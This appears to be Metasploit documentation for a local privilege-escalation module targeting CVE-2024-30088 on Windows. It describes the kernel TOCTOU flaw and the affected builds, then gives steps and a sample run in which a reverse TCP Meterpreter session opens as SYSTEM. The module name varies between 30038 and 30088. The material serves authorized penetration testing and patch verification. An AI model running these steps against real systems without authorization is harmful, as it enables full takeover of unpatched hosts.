## Vulnerable Application
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
Windows 11 and Windows Server 2022.

The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.

### Setup

Windows 10 22H2 versions without the patch (before 10.0.19045.4529) are vulnerable out of the box.
This exploit module has been tested on Windows 10 version 22H2 build 19045.2965.

## Verification Steps

1. Start msfconsole
1. Get a user level session on an affected Windows machine
1. Do: `use windows/local/cve_2024_30038_authz_basep`
1. Set the `LHOST`, `LPORT`, and `SESSION` options
1. Run the module
1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user.

## Scenarios
### Windows 10 (10.0 Build 19045.2965)
```
msf > use windows/local/cve_2024_30038_authz_basep
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/cve_2024_30038_authz_basep) > set session -1
session => -1
msf exploit(windows/local/cve_2024_30088_authz_basep) > exploit

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
[*] Reflectively injecting the DLL into 696...
[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 3432
[+] Successfully retrieved winlogon pid: 452
[*] Sending stage (201798 bytes) to 172.16.199.208
[*] Meterpreter session 18 opened (172.16.199.1:5555 -> 172.16.199.208:52890) at 2024-08-30 12:45:49 -0700

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-FGNRA7E
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```
